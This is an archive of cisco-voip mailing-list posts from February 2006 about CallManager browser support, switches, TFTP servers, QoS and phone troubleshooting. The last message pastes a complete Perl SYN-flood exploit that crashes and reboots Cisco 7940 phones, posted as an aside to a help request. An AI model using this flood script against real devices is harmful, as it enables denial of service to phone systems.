cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

--
Scanned for viruses and dangerous content at http://www.oneunified.net and
is believed to be clean.



-- 
Scanned for viruses and dangerous content at 
http://www.oneunified.net and is believed to be clean.


From pwalenta at wi.rr.com  Fri Feb 17 12:55:03 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Fri Feb 17 12:55:04 2006
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)
In-Reply-To: <90B962BEA7D42F40BF0DF00044A5A1B60CA9B3F2@x-np5.am.group.local>
Message-ID: <200602171754.k1HHsxAr022925@ms-smtp-02.rdc-kc.rr.com>

I just tried this.  It actually loads the pages faster than regular IE!
Nice find.


  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Schuett, Court
(MBNAP it)
Sent: Friday, February 17, 2006 11:29 AM
To: Schuett, Court (MBNAP it); 'Ed Leatherman'; Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)


Quick addendum.  I just checked and IE Tab 1.0.7 and 1.0.8 do not work with
CCM 4.1(3).  However, IE Tab 1.0.6.4 does.  I'm not sure what they changed
in there, but 1.0.6.4 works fine.  You can get it here:
https://addons.mozilla.org/extensions/moreinfo.php?application=firefox
<https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=1
419&page=releases> &id=1419&page=releases
 
 
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
 

  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Schuett, Court
(MBNAP it)
Sent: Friday, February 17, 2006 11:12 AM
To: 'Ed Leatherman'; Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)


Actually, I use Firefox 1.5 to manage my CallManager.  It's a little sneaky,
but you can do it.  Check out the IE Tab Extension for Firefox.  I've been
using it for awhile and it works pretty well.  There are a couple issues
(like closing extra windows when resetting phones) but nothing that you
can't deal with.  
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
 

  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ed Leatherman
Sent: Friday, February 17, 2006 9:59 AM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)


Agreed, only thing I use IE for now is callmanager and Unity, because I have
to.


On 2/17/06, Voll, Scott <Scott.Voll at wesd.org  <mailto:Scott.Voll at wesd.org> >
wrote: 

I don't know if anyone else subscribes to the Cisco-NSP list but they
(including me) have been pretty cranked about the test TAC Caseopen tool
is only tested with IE.  I wish Cisco would get a Clue and make
everything more open source as far as browsers are concerned.  I would
like to be able to use any browser (not M$) to run all applications like 
TAC, CM, IPCC, UNITY, WLSE, Etc.

RANT< Cisco Get On Board -- Listen To Your Customers -- And Fix It
>RANT.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Chris Ellington
Sent: Friday, February 17, 2006 7:36 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)

Doesn't everyone use Mac's now?  No flamewar here but hopefully the new
5.0 
ccm will work with Macs.  I have found Mobility Manager 1.0 (which is
Linux
based) works well with both Safari and Firefox.  If you use the 'User
Agent
Switcher' and tell it you are an IE XP browser, it doesn't crash any 
more
but the 'RSEnableRemoteScripting' event seems to cause it to fail.
Something about a proxy couldn't be located.

Chris


On 2/17/06 9:55 AM, "  <mailto:cisco-voip-request at puck.nether.net>
cisco-voip-request at puck.nether.net"
<cisco-voip-request at puck.nether.net> wrote:


>
> Message: 8
> Date: Fri, 17 Feb 2006 09:28:31 -0500 
> From: Ryan Ratliff <rratliff at cisco.com>
> Subject: Re: [cisco-voip] CCMAdmin on OS X
> To: Tim Medley <medley at mac.com >
> Cc: "cisco-voip at puck-nether.net" <cisco-voip at puck.nether.net>
> Message-ID: <  <mailto:E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
E6A7EB93-3BD0-4B1B-9325-BF4B31460D97 at cisco.com>
> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
>
> Just tested with CM 4.1.3 and with Safari it complains about the java
> vm not being installed.  Firefox 1.5 it just crashes.
>
> -Ryan
>
> On Feb 16, 2006, at 6:03 PM, Tim Medley wrote:
>
> Just curious how many other folks use Mac's and OS X as there day to 
> day computer. A while back I ran some basic tests and found that
> Opera would work to use CCMAdmin and Unity SA, but recently have
> found that it no longer works. I am wondering what other people have 
> found or if you have just given up?
>
> tm
>
> Tim Medley
> medley at mac.com
>


--
Christopher S. Ellington
CCIE #6814
Network Solutions, Inc. 
(317) 566 8897
Chris.Ellington at nsi1.com


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list 
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip





-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 

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From zephy316 at gmail.com  Fri Feb 17 13:29:52 2006
From: zephy316 at gmail.com (Israel Lang)
Date: Fri Feb 17 13:29:56 2006
Subject: [cisco-voip] Speaking of Express 500s
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE15B7@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE15B7@VISHNU.wesd.org>
Message-ID: <91e236d30602171029s77ef06e7ga852ae0f085b01f2@mail.gmail.com>

I have two in production right now. Had a few issues out of the box, but
that was more related to learning the GUI than the switch itself, I think. I
am still not comfortable with the lack of flexibility that a GUI only switch
affords, but for those that are concerned about price this is better than
some alternatives.

Israel

On 2/17/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
>  Has anyone used a Cat. Express 500 in production yet.  We currently use
> 3560's and will continue to use 3560's but we also make suggestions to our
> School districts as to what to buy.  Cisco has always been more expensive
> but with the 500's this has changed.  We have previously suggested the HP
> procurves but the price is almost the same.  And more of my Schools are
> looking at VoIP so we would like them to start thinking in this direction,
> but since we have not been able to get a demo yet, and you guys always have
> great information, I would like to hear from you.  I don't like not having
> the CLI but other then that and the backplane (which shouldn't matter for
> k12 schools) do they work well or are they buggy?
>
>
>
> Thanks
>
>
>
> Scott
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Have a great day!!!!!!!!!!
zephy316_gmail.com

Replace the _ with an @ symbol
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From chris.ellington at nsi1.com  Fri Feb 17 13:35:57 2006
From: chris.ellington at nsi1.com (Chris Ellington)
Date: Fri Feb 17 13:36:11 2006
Subject: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)
In-Reply-To: <200602171830.k1HITxoG048365@puck.nether.net>
Message-ID: <C01B81BD.5228%chris.ellington@nsi1.com>

The 1.0.6.4 plugin is for Wintel users only; does anyone that use something
other than wintel have a solution?

chris

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Schuett, Court
(MBNAP it)
Sent: Friday, February 17, 2006 11:29 AM
To: Schuett, Court (MBNAP it); 'Ed Leatherman'; Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Re: CCMAdmin on OS X (Ryan Ratliff)


Quick addendum.  I just checked and IE Tab 1.0.7 and 1.0.8 do not work with
CCM 4.1(3).  However, IE Tab 1.0.6.4 does.  I'm not sure what they changed
in there, but 1.0.6.4 works fine.  You can get it here:
https://addons.mozilla.org/extensions/moreinfo.php?application=firefox
<https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=1
419&page=releases> &id=1419&page=releases
 
 
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
 

-- 
Christopher S. Ellington
CCIE #6814
Network Solutions, Inc.
(317) 566 8897
Chris.Ellington at nsi1.com



From ealeatherman at gmail.com  Fri Feb 17 15:02:25 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Fri Feb 17 15:02:28 2006
Subject: [cisco-voip] ANDTek product question
Message-ID: <94a1afde0602171202h47b08fc5m918cb64067b2ce21@mail.gmail.com>

We're looking for an on-phone solution that will give us busy lamp field -
like functionality for 10+ lines, preferably without adding 7914's. The only
product i've seen that actually seems to do this is ANDTek Group
(www.andtek.com),
I was wondering if anyone had any experiences with this vendor good or bad?
I've seen them at CIPTUG and I think at Networkers as well. If this works as
advertised, I could see us using it even with CCM5 for people that need to
monitor alot of lines.. would save us from having to attach 7914's to them,
could pay for itself right there.

I'd like to just put attendant console on these people's PCs but we've never
been successful getting people to accept that solution.

I hear that BLF's are in ccm 5, but i'm assuming they will still take up
line buttons, and i'd like to have a feature like this available for us this
summer for a large conversion from an old mini-PBX. I'm not gonna be brave
enough to load ccm5 that soon after release :)

Thanks!
--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From jonvoip at gmail.com  Fri Feb 17 15:23:28 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Fri Feb 17 15:23:32 2006
Subject: [cisco-voip] Trusting phone QoS markings on a 4006
Message-ID: <5d093f9a0602171223o6b4d7ddesf7d3de9be9b8fed8@mail.gmail.com>

I have a customer with a 4006, running CatOS, I tried adding the command:

set port qos 4/1-48 trust-device ciscoipphone

But it doesn't recognize the qos...

What am I missing? The command worked fine (as expected) on the 6500s... and
we are seeing no dscp/tos/cos markings for voice traffic from these devices.




Jonathan
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From jonvoip at gmail.com  Fri Feb 17 15:32:53 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Fri Feb 17 15:33:00 2006
Subject: [cisco-voip] What do y'all use for a TFTP server?
In-Reply-To: <2a2001c633ea$c5ac6010$660a0a0a@oneunified.local>
References: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E01@MREXVS01.bc.broward.cty>
	<2a2001c633ea$c5ac6010$660a0a0a@oneunified.local>
Message-ID: <5d093f9a0602171232n2a1accf3qaad4c6f999ffa2d5@mail.gmail.com>

Just so you all know, there is a bug in most TFTP servers (not 3Com's), that
will not let you transmit files over 18.4MB.

However, I use the 3Com and my Publisher.



J

On 2/17/06, Ray Burkholder <ray at oneunified.net> wrote:
>
> Or 3Com's 3CTftpSvc.zip.  It has been very reliable for me.  Trying to
> navigate to it can be a nightmare so here is the link:
>
> http://support.3com.com/software/utilities_for_windows_32_bit.htm
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
> Sent: Friday, February 17, 2006 10:56
> To: Fedorov, Konstantin; Philip Walenta; Mike Armstrong;
> cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] What do y'all use for a TFTP server?
>
> Been using 3COM's 3Cserver for years....does what I Need it to do.....
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fedorov,
> Konstantin
> Sent: Friday, February 17, 2006 8:49 AM
> To: Philip Walenta; Mike Armstrong; cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] What do y'all use for a TFTP server?
>
> Hi
>
> For example this one
> http://www.solarwinds.net/FreeTools.htm
>
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
> Sent: Friday, February 17, 2006 4:41 PM
> To: 'Mike Armstrong'; cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] What do y'all use for a TFTP server?
>
> I use both "tftpd32" and unix based tftp.  Haven't really found a need for
> anything fancier.
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Armstrong
> Sent: Friday, February 17, 2006 7:36 AM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] What do y'all use for a TFTP server?
>
> I've been using TFTP32.exe by "Ph. Jounin" for years, but McAfee Virus
> Scan
> just decided it's a "Generic PUP.a (Potentially Unwanted Program)"
> and deleted it without asking for my opinion.  I've downloaded the latest
> version and re-installed it, and so far Virus Scan hasn't complained
> again,
> but I'd be interested in what others are currently using.
>
> Mike Armstrong
> UF/IFAS CREC
> Lake Alfred, FL
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> --
> Scanned for viruses and dangerous content at http://www.oneunified.net and
> is believed to be clean.
>
>
>
> --
> Scanned for viruses and dangerous content at
> http://www.oneunified.net and is believed to be clean.
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From CMStaffin at ra.rockwell.com  Fri Feb 17 15:38:13 2006
From: CMStaffin at ra.rockwell.com (Craig M Staffin)
Date: Fri Feb 17 15:50:35 2006
Subject: [cisco-voip] ANDTek product question
Message-ID: <OFDA1A4BEC.B9FEEDD4-ON86257118.00714BD7-86257118.00714D10@ra.rockwell.com>

The other option would be to take a look at a company called Litescape

There product is called oncast and is very customizable.

Http://litescape.com





Ed Leatherman <ealeatherman at gmail.com>
Sent by: cisco-voip-bounces at puck.nether.net
02/17/2006 02:02 PM

 
        To:     cisco-voip at puck.nether.net
        cc: 
        Subject:        [cisco-voip] ANDTek product question


We're looking for an on-phone solution that will give us busy lamp field - 
like functionality for 10+ lines, preferably without adding 7914's. The 
only product i've seen that actually seems to do this is ANDTek Group (www.andtek.com), I was wondering if anyone had any experiences with this vendor good or 
bad? I've seen them at CIPTUG and I think at Networkers as well. If this 
works as advertised, I could see us using it even with CCM5 for people 
that need to monitor alot of lines.. would save us from having to attach 
7914's to them, could pay for itself right there. 

I'd like to just put attendant console on these people's PCs but we've 
never been successful getting people to accept that solution.

I hear that BLF's are in ccm 5, but i'm assuming they will still take up 
line buttons, and i'd like to have a feature like this available for us 
this summer for a large conversion from an old mini-PBX. I'm not gonna be 
brave enough to load ccm5 that soon after release :) 

Thanks!
-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations _______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


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From jonvoip at gmail.com  Fri Feb 17 15:52:42 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Fri Feb 17 15:52:46 2006
Subject: [cisco-voip] Trusting phone QoS markings on a 4006
In-Reply-To: <C1FE15183DA37645BC0633BC604E44F0F4D31A@USNAEXCH.na.didata.local>
References: <C1FE15183DA37645BC0633BC604E44F0F4D31A@USNAEXCH.na.didata.local>
Message-ID: <5d093f9a0602171252he9ae3fcm217b2cf49a1e43c6@mail.gmail.com>

Running 7.6(5)...

It is running a WS-X4013 1000BaseSX Sup...



J

On 2/17/06, Matt Slaga (US) < Matt.Slaga at us.didata.com> wrote:
>
> What version of code and what kind of supervisor module?
>
>
>
>  ------------------------------
> *From:* cisco-voip-bounces at puck.nether.net [mailto:
> cisco-voip-bounces at puck.nether.net] *On Behalf Of *Jonathan Charles
> *Sent:* Friday, February 17, 2006 3:23 PM
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] Trusting phone QoS markings on a 4006
>
> I have a customer with a 4006, running CatOS, I tried adding the command:
>
> set port qos 4/1-48 trust-device ciscoipphone
>
> But it doesn't recognize the qos...
>
> What am I missing? The command worked fine (as expected) on the 6500s...
> and we are seeing no dscp/tos/cos markings for voice traffic from these
> devices.
>
>
>
>
> Jonathan
>
> ------------------------------
>
> * Disclaimer:
>
> This e-mail communication and any attachments may contain
> confidential and privileged information and is for use by the
> designated addressee(s) named above only. If you are not the
> intended addressee, you are hereby notified that you have received
> this communication in error and that any use or reproduction of
> this email or its contents is strictly prohibited and may be
> unlawful. If you have received this communication in error, please
> notify us immediately by replying to this message and deleting it
> from your computer. Thank you. *
>
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From jonvoip at gmail.com  Fri Feb 17 15:52:54 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Fri Feb 17 15:52:58 2006
Subject: [cisco-voip] Trusting phone QoS markings on a 4006
In-Reply-To: <5d093f9a0602171252he9ae3fcm217b2cf49a1e43c6@mail.gmail.com>
References: <C1FE15183DA37645BC0633BC604E44F0F4D31A@USNAEXCH.na.didata.local>
	<5d093f9a0602171252he9ae3fcm217b2cf49a1e43c6@mail.gmail.com>
Message-ID: <5d093f9a0602171252l2c3a2ca9g1f7b715d72f48362@mail.gmail.com>

Also, MLS is not enabled...



On 2/17/06, Jonathan Charles <jonvoip at gmail.com> wrote:
>
> Running 7.6(5)...
>
> It is running a WS-X4013 1000BaseSX Sup...
>
>
>
> J
>
> On 2/17/06, Matt Slaga (US) < Matt.Slaga at us.didata.com> wrote:
> >
> > What version of code and what kind of supervisor module?
> >
> >
> >
> >  ------------------------------
> > *From:* cisco-voip-bounces at puck.nether.net [mailto:
> > cisco-voip-bounces at puck.nether.net] *On Behalf Of *Jonathan Charles
> > *Sent:* Friday, February 17, 2006 3:23 PM
> > *To:* cisco-voip at puck.nether.net
> > *Subject:* [cisco-voip] Trusting phone QoS markings on a 4006
> >
> > I have a customer with a 4006, running CatOS, I tried adding the
> > command:
> >
> > set port qos 4/1-48 trust-device ciscoipphone
> >
> > But it doesn't recognize the qos...
> >
> > What am I missing? The command worked fine (as expected) on the 6500s...
> > and we are seeing no dscp/tos/cos markings for voice traffic from these
> > devices.
> >
> >
> >
> >
> > Jonathan
> >
> > ------------------------------
> >
> > * Disclaimer:
> >
> > This e-mail communication and any attachments may contain
> > confidential and privileged information and is for use by the
> > designated addressee(s) named above only. If you are not the
> > intended addressee, you are hereby notified that you have received
> > this communication in error and that any use or reproduction of
> > this email or its contents is strictly prohibited and may be
> > unlawful. If you have received this communication in error, please
> > notify us immediately by replying to this message and deleting it
> > from your computer. Thank you. *
> >
>
>
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From bcarter at sentinel.com  Fri Feb 17 16:07:53 2006
From: bcarter at sentinel.com (Carter, Bill)
Date: Fri Feb 17 16:08:03 2006
Subject: [cisco-voip] Speaking of Express 500s
Message-ID: <6A0744639B86DD459433108DBF101D26E16AF3@MAIL01.sentinel.com>

I wish they had Regular SMARTnet instead of Next Business Day SMB.


________________________________

	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Israel Lang
	Sent: Friday, February 17, 2006 12:30 PM
	To: Voll, Scott
	Cc: cisco-voip at puck.nether.net
	Subject: Re: [cisco-voip] Speaking of Express 500s
	
	
	I have two in production right now. Had a few issues out of the
box, but that was more related to learning the GUI than the switch
itself, I think. I am still not comfortable with the lack of flexibility
that a GUI only switch affords, but for those that are concerned about
price this is better than some alternatives. 
	
	Israel
	
	
	On 2/17/06, Voll, Scott <Scott.Voll at wesd.org> wrote: 

		Has anyone used a Cat. Express 500 in production yet.
We currently use 3560's and will continue to use 3560's but we also make
suggestions to our School districts as to what to buy.  Cisco has always
been more expensive but with the 500's this has changed.  We have
previously suggested the HP procurves but the price is almost the same.
And more of my Schools are looking at VoIP so we would like them to
start thinking in this direction, but since we have not been able to get
a demo yet, and you guys always have great information, I would like to
hear from you.  I don't like not having the CLI but other then that and
the backplane (which shouldn't matter for k12 schools) do they work well
or are they buggy?

		 

		Thanks

		 

		Scott


		_______________________________________________
		cisco-voip mailing list
		cisco-voip at puck.nether.net
		https://puck.nether.net/mailman/listinfo/cisco-voip
		
		
		




	-- 
	Have a great day!!!!!!!!!!
	zephy316_gmail.com
	
	Replace the _ with an @ symbol 

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From Matt.Slaga at us.didata.com  Fri Feb 17 16:43:38 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Fri Feb 17 16:44:16 2006
Subject: [cisco-voip] Trusting phone QoS markings on a 4006
Message-ID: <C1FE15183DA37645BC0633BC604E44F0F4D455@USNAEXCH.na.didata.local>

globally set:
 
set qos enable
 
Besides this, you can only set qos mappings and set cos values to
transmit queues and drop threshholds.
 
more info:
http://www.cisco.com/en/US/partner/products/hw/switches/ps663/products_c
onfiguration_guide_chapter09186a00800d81b1.html

________________________________

From: Jonathan Charles [mailto:jonvoip at gmail.com] 
Sent: Friday, February 17, 2006 3:53 PM
To: Matt Slaga (US); cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Trusting phone QoS markings on a 4006


Running 7.6(5)... 

It is running a WS-X4013 1000BaseSX Sup...



J


On 2/17/06, Matt Slaga (US) < Matt.Slaga at us.didata.com
<mailto:Matt.Slaga at us.didata.com> > wrote: 

	What version of code and what kind of supervisor module?
	 
	 

________________________________

	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jonathan
Charles
	Sent: Friday, February 17, 2006 3:23 PM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] Trusting phone QoS markings on a 4006
	
	
	
	I have a customer with a 4006, running CatOS, I tried adding the
command:
	
	set port qos 4/1-48 trust-device ciscoipphone
	
	But it doesn't recognize the qos...
	
	What am I missing? The command worked fine (as expected) on the
6500s... and we are seeing no dscp/tos/cos markings for voice traffic
from these devices.
	
	
	
	
	Jonathan
	

	

________________________________

	

	Disclaimer:
	
	This e-mail communication and any attachments may contain
	confidential and privileged information and is for use by the
	designated addressee(s) named above only. If you are not the
	intended addressee, you are hereby notified that you have
received
	this communication in error and that any use or reproduction of
	this email or its contents is strictly prohibited and may be
	unlawful. If you have received this communication in error,
please
	notify us immediately by replying to this message and deleting
it
	from your computer. Thank you. 





-----------------------------------------
Disclaimer:

This e-mail communication and any attachments may contain
confidential and privileged information and is for use by the
designated addressee(s) named above only.  If you are not the
intended addressee, you are hereby notified that you have received
this communication in error and that any use or reproduction of
this email or its contents is strictly prohibited and may be
unlawful.  If you have received this communication in error, please
notify us immediately by replying to this message and deleting it
from your computer. Thank you.
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From Hans-Peter.Walter at tds.de  Fri Feb 17 19:38:00 2006
From: Hans-Peter.Walter at tds.de (Hans-Peter Walter)
Date: Fri Feb 17 19:33:58 2006
Subject: [cisco-voip] Remotely rebooting Phone without using Callmanager (in
 CM not connected, but can still ping/http)
Message-ID: <OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1@de.tds-global.com>

hi,
we have a problem with a SRST-config at a remote site, so I played around 
and set a 
line of a phone to "Auto Answer with speakerphone" and could hear some 
servers running in the background, 
and did some testing. The SRST still doesn't work properly, but thats 
another story...

Now the phone some how stucks. I can ping it, I can go to the phone 
website http://<phone-ip>, but it 
is *NOT* registered in Callmanager and not on the SRST-Router. 
I denied access for that phone to the callmanager (hoped it would try to 
reboot) ==> no success
I rebooted the SRST-Router (default-gateway of the phone) ==> no success
I shut down and enabled the switch-port where the phone is connected ==> 
no success
I even rebooted the entire switch ;-) ==> no success
After all these actions I can still ping / http to the phone...

I wish I had PoE there, because I think I just would need unplug power....
soooo: Is there another way to reboot a phone *without* the Callmanager,
maybe something hidden like http://<phine-ip>/admin or something?

thanks and a nice weekend...
HP
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From kthorngr at cisco.com  Fri Feb 17 19:46:56 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Fri Feb 17 19:46:46 2006
Subject: [cisco-voip] Remotely rebooting Phone without using Callmanager
	(in CM not connected, but can still ping/http)
In-Reply-To: <OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1@de.tds-global.com>
References: <OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1@de.tds-global.com>
Message-ID: <d7194adb383f00fe38bebbecbcd94da3@cisco.com>

Not sure of any other ideas at this point.  Just curious if there is 
any Skinny traffic from the phone to CCM.  Use Network Monitor on the 
Primary CCM to see if the phone is attempting to create a TCP 
connection to the CCM server and if it is failing.

Kevin
On Feb 17, 2006, at 7:38 PM, Hans-Peter Walter wrote:

>
> hi,
> we have a problem with a SRST-config at a remote site, so I played 
> around and set a
> line of a phone to "Auto Answer with speakerphone" and could hear some 
> servers running in the background,
> and did some testing. The SRST still doesn't work properly, but thats 
> another story...
>
> Now the phone some how stucks. I can ping it, I can go to the phone 
> website http://<phone-ip>, but it
> is *NOT* registered in Callmanager and not on the SRST-Router.
> I denied access for that phone to the callmanager (hoped it would try 
> to reboot) ==> no success
> I rebooted the SRST-Router (default-gateway of the phone) ==> no 
> success
> I shut down and enabled the switch-port where the phone is connected 
> ==> no success
> I even rebooted the entire switch ;-) ==> no success
> After all these actions I can still ping / http to the phone...
>
> I wish I had PoE there, because I think I just would need unplug 
> power....
> soooo: Is there another way to reboot a phone *without* the 
> Callmanager,
> maybe something hidden like http://<phine-ip>/admin or something?
>
> thanks and a nice weekend...
> HP_______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From lelio at uoguelph.ca  Fri Feb 17 19:53:38 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Fri Feb 17 19:53:38 2006
Subject: [cisco-voip] Remotely rebooting Phone without using
	Callmanager(in CM not connected, but can still ping/http)
References: <OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1@de.tds-global.com>
	<d7194adb383f00fe38bebbecbcd94da3@cisco.com>
Message-ID: <002b01c63425$c1accf00$c901a8c0@deadfish>

aren't there a few exploits out there that cause a phone to reboot? ;)

  ----- Original Message ----- 
  From: Kevin Thorngren 
  To: Hans-Peter Walter 
  Cc: cisco-voip at puck.nether.net 
  Sent: Friday, February 17, 2006 7:46 PM
  Subject: Re: [cisco-voip] Remotely rebooting Phone without using Callmanager(in CM not connected, but can still ping/http)


  Not sure of any other ideas at this point. Just curious if there is any Skinny traffic from the phone to CCM. Use Network Monitor on the Primary CCM to see if the phone is attempting to create a TCP connection to the CCM server and if it is failing.

  Kevin
  On Feb 17, 2006, at 7:38 PM, Hans-Peter Walter wrote:



    hi, 
    we have a problem with a SRST-config at a remote site, so I played around and set a 
    line of a phone to "Auto Answer with speakerphone" and could hear some servers running in the background, 
    and did some testing. The SRST still doesn't work properly, but thats another story... 

    Now the phone some how stucks. I can ping it, I can go to the phone website http://<phone-ip>, but it 
    is *NOT* registered in Callmanager and not on the SRST-Router. 
    I denied access for that phone to the callmanager (hoped it would try to reboot) ==> no success 
    I rebooted the SRST-Router (default-gateway of the phone) ==> no success 
    I shut down and enabled the switch-port where the phone is connected ==> no success 
    I even rebooted the entire switch ;-) ==> no success 
    After all these actions I can still ping / http to the phone... 

    I wish I had PoE there, because I think I just would need unplug power.... 
    soooo: Is there another way to reboot a phone *without* the Callmanager, 
    maybe something hidden like http://<phine-ip>/admin or something? 

    thanks and a nice weekend... 
    HP_______________________________________________
    cisco-voip mailing list
    cisco-voip at puck.nether.net
    https://puck.nether.net/mailman/listinfo/cisco-voip



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From lelio at uoguelph.ca  Fri Feb 17 19:59:06 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Fri Feb 17 19:59:07 2006
Subject: [cisco-voip] Remotely rebooting Phone without usingCallmanager(in
	CM not connected, but can still ping/http)
References: <OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1@de.tds-global.com><d7194adb383f00fe38bebbecbcd94da3@cisco.com>
	<002b01c63425$c1accf00$c901a8c0@deadfish>
Message-ID: <003a01c63426$860b58d0$c901a8c0@deadfish>

#!/usr/bin/perl
# This is made for trashing cisco 7940 ip phones. kokanin made/discovered this.
# A packetcount of 1000 and a packetdelay of 0.002 sent to port 80 makes my 
# phone reboot - play with the settings and stuff. PRIVATE PRIVATE PRIVATE!!!
# not private anymore. Vulnerable phones are running ver. 7.0(2.0) using the skinny
# protocol - this is not for the SIP firmware.

use Net::RawIP;
use Time::HiRes;
$pkt = new Net::RawIP;
die "Usage $0 <src> <dst> <target port> <number of pkts> <packet delay>" unless ($ARGV[4]);
$pkt->set({
        ip => {
                saddr => $ARGV[0],
                daddr => $ARGV[1] 
                },
        tcp=> { dest => $ARGV[2],
                syn => 1,
                seq => 0,
                ack => 0}
        });
for(1..$ARGV[3]){ $pkt->set({tcp=>{source=>int(rand(65535))}});Time::HiRes::sleep($ARGV[4]); $pkt->send; };

# milw0rm.com [2006-01-10]
----- Original Message ----- 
  From: Lelio Fulgenzi 
  To: Kevin Thorngren ; Hans-Peter Walter 
  Cc: cisco-voip at puck.nether.net 
  Sent: Friday, February 17, 2006 7:53 PM
  Subject: Re: [cisco-voip] Remotely rebooting Phone without usingCallmanager(in CM not connected, but can still ping/http)


  aren't there a few exploits out there that cause a phone to reboot? ;)

    ----- Original Message ----- 
    From: Kevin Thorngren 
    To: Hans-Peter Walter 
    Cc: cisco-voip at puck.nether.net 
    Sent: Friday, February 17, 2006 7:46 PM
